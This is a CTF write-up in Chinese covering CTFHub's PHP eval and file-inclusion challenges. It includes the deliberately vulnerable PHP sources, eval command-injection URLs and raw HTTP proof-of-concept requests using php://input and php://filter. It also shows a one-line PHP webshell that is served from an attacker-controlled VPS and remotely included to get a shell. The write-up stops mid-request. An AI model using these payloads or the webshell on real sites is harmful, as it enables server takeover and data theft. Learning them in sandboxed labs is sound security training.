靶场
eval执行
<?php
if (isset($_REQUEST['cmd'])) {
eval($_REQUEST["cmd"]);
} else {
highlight_file(__FILE__);
}
?>
PHP代码显示,要求将命令赋值给cmd然后执行
先查看一下根目录文件 ?cmd=system("ls");
!切记最后的分号不可省略!
看看上一级的文件夹 /?cmd=system("ls%20/");
打开flag文件发现FLAG/?cmd=system("cat%20/flag_910");
文件包含
<?php
error_reporting(0);
if (isset($_GET['file'])) {
if (!strpos($_GET["file"], "flag")) {
include $_GET["file"];
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
<hr>
i have a <a href="shell.txt">shell</a>, how to use it ?
i have a shell, how to use it ?
这里有一个strpos(string,find,start)函数
意思在string字符串中找find的位置,start是查找的开始位置
那么这句代码的意思就是如果file中没有flag字符串就执行下面的include $_GET["file"]
否则就输出Hacker。
再看一眼shell
是将ctfhub传的参数用php执行
题目的目的也是让我们执行shell木马那么我们就输入
?file=shell.txt
shell中要传的参数为ctfhub=system("ls");
直接使用hackbar
php://input
<?php
if (isset($_GET['file'])) {
if ( substr($_GET["file"], 0, 6) === "php://" ) {
include($_GET["file"]);
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag? <br>
<a href="phpinfo.php">phpinfo</a>
i don't have shell, how to get flag?
phpinfo
这道题要做的事情就是,找到flag文件存储的存储的位置,然后,读取。这样的话,应该是需要命令执行的漏洞。此时php://input有一个
POC
POST /?file=php://input HTTP/1.1
Host: challenge-d0b4adabd422fad4.sandbox.ctfhub.com:10800
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 Edg/130.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://challenge-d0b4adabd422fad4.sandbox.ctfhub.com:10800/
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 24
<?php system("ls /"); ?>
成功执行直接读取flag
OK
远程包含
<?php
error_reporting(0);
if (isset($_GET['file'])) {
if (!strpos($_GET["file"], "flag")) {
include $_GET["file"];
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag?<br>
<a href="phpinfo.php">phpinfo</a>
i don't have shell, how to get flag?
phpinfo
这关其实比较简单,直接远程包含文件就可以
POC
?file=http://127.0.0.1/upload/poc.txt
文件包含嘛,那就是直接解析执行
<?php system('ls');?>
<?php system('ls /');?>
<?php system('cat /flag');?>
成功读取flag
ctfhub{b18f73d52a985977e0dcfe05}
方法一:PHP://input
检查网页显示内容,网页源代码显示的和之前的类似,一眼可以看出可能含有文件包含。
检查 phpinfo 环境配置信息页面,检查 allow 的两个选项是否开放。可以看到这两个功能都是开放的。
使用 burpsuite 抓包工具抓取网页 url 并重放。#这里要使用get请求
POC
GET /?file=php://input HTTP/1.1
Host: challenge-e9b8fabf7afaf188.sandbox.ctfhub.com:10800
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 Edg/130.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: keep-alive
Content-Length: 23
<?php system('ls /');?>
成功读取
0x2 方法二:服务器执行
为了方便管理,在服务器中创建一个 payload 文件夹。
mkdir payload
打开 payload 文件夹,并在文件中使用 vim 编辑器编写一个一句话木马。
<?php @eval($_POST[CTFhub]); ?>
使用 python 启动 http 服务,用于后续执行远程文件包含。
python3 -m http.server 8000
在本地浏览器总访问 shell.txt 文件路径检查一句话木马是否可用,发现可用正常使用。
使用蚁剑连接到自己服务器中的 shell.txt 文件。
http://challenge-688a4674920fa2f5.sandbox.ctfhub.com:10800/?file=http://VPS:8000/payload/shell.txt
检查网页内容发现此题 flag 。
读取源代码
<?php
error_reporting(E_ALL);
if (isset($_GET['file'])) {
if ( substr($_GET["file"], 0, 6) === "php://" ) {
include($_GET["file"]);
} else {
echo "Hacker!!!";
}
} else {
highlight_file(__FILE__);
}
?>
<hr>
i don't have shell, how to get flag? <br>
flag in <code>/flag</code>
i don't have shell, how to get flag?
flag in /flag
题目要求又必须使用php://。而且flag就在/flag里。
这里引入另一个php伪协议。php://filter。附上使用方法:
大佬给的解题思路
/?file=php://filter/resource=/flag
POC
GET /?file=php://filter/resource=/flag HTTP/1.1
Host: challenge-068a53e318ea452d.sandbox.ctfhub.com:10800
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 Edg/130.0.0.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9,en;q=0.8,en-GB;q=0.7,en-US;q=0.6
Connection: keep-alive